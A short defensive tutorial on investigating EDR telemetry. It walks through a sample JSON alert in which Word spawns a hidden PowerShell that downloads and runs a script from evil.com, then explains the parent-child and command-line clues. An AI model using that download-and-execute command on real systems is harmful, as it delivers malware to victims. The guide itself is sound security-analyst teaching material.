# 🦅 Understanding EDR Telemetry

Endpoint Detection and Response (EDR) tools provide a flight recorder for your endpoints. They capture everything a computer does.

## 📝 The Raw Log
Below is a raw JSON log from an EDR agent (e.g., CrowdStrike/SentinelOne style).

```json
{
  "event_type": "ProcessRoleup2",
  "timestamp": "2024-03-15T10:45:22Z",
  "hostname": "FINANCE-PC-01",
  "user_name": "CORP\\asmith",
  "file_name": "powershell.exe",
  "file_path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
  "command_line": "powershell.exe -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"",
  "parent_process": "winword.exe",
  "parent_command_line": ""C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE" C:\\Users\\asmith\\Downloads\\Invoice_UPDATED.docx",
  "sha256": "9f9d5187af9e..."
}
```

## 🕵️‍♂️ Investigation Steps

### Step 1: Analyze the Hierarchy (Parent-Child)
* **Parent**: `winword.exe` (Microsoft Word)
* **Child**: `powershell.exe`
* **Analysis**: Word documents should **never** spawn PowerShell. This is a classic sign of a **Malicious Macro**.

### Step 2: Decode the Command Line
* `-nop`: NoProfile (Hides awareness from user).
* `-w hidden`: WindowStyle Hidden (User sees nothing).
* `IEX`: Invoke-Expression (Execute code).
* `DownloadString`: Fetch code from the internet.

### Step 3: Check the Context
* **User**: `asmith` (Finance Dept).
* **Document**: `Invoice_UPDATED.docx`.
* **Conclusion**: User opened a phishing email with a weaponized invoice.
